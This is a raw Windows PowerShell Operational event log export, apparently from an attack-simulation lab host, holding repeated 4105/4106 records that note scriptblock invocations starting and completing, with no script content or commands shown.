Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028521
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028520
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028519
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028518
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028517
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028516
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028515
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028514
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028513
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028512
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028511
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028510
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028509
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028508
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028507
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028506
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028505
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028504
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028503
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028502
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028501
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028500
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028499
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028498
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028497
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028496
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028495
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028494
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028493
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028492
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028491
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028490
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028489
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028488
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028487
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028486
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028485
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028484
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028483
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028482
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028481
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028480
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028479
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028478
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028477
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028476
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028475
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028474
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028473
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028472
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028471
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028470
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028469
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
